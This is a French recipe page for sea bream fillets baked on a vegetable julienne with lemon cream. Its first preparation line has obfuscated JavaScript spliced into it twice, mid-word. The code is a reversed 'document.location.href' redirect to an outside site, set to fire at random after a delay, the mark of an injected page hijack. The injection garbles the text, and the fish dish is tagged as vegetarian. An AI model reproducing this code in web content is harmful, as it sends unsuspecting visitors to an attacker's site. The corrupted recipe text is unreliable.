Filets de dorade en julienne
2018-01-03- Cuisine : Filets, Poissons
- Thématique : Végétarien
Pelez, rincez, coupez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes en fins bâtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonnets.
Dans une poêle avec 50 g de beurre et 1 cuillère à soupe d’huile d’arachide.
Ingrédients
- Pour 4 personnes
- 800 g de filets de dorade
- 2 blancs de poireau
- 4 branches de céleri
- 1 bulbe de fenouil
- 2 petits navets nouveaux
- 50 g de beurre
- 2 dl de crème fraîche
- 1 citron
- Sel poivre
Préparation de la recette
Etape 1
Pelez, rincez, coupez tous les légumes en fins bâtonnets. Dans une poêle avec 50 g de beurre et 1 cuillère à soupe d'huile d'arachide.
Etape 2
Faites cuire la julienne de légumes salez et poivrez. Vérifiez la cuisson. Préchauffez le four à 210°C thermostat 7.
Etape 3
Beurrez un plat à gratin répartissez la julienne dans le fond du plat, salez, poivrez les filets de poisson et les déposez sur les légumes.
Etape 4
Mélangez le jus du citron et la crème fraîche. Versez sur le poisson couvrir d’une feuille de papier d’aluminium et faites cuire pendant 20 minutes. Vérifiez la cuisson. Dégustez
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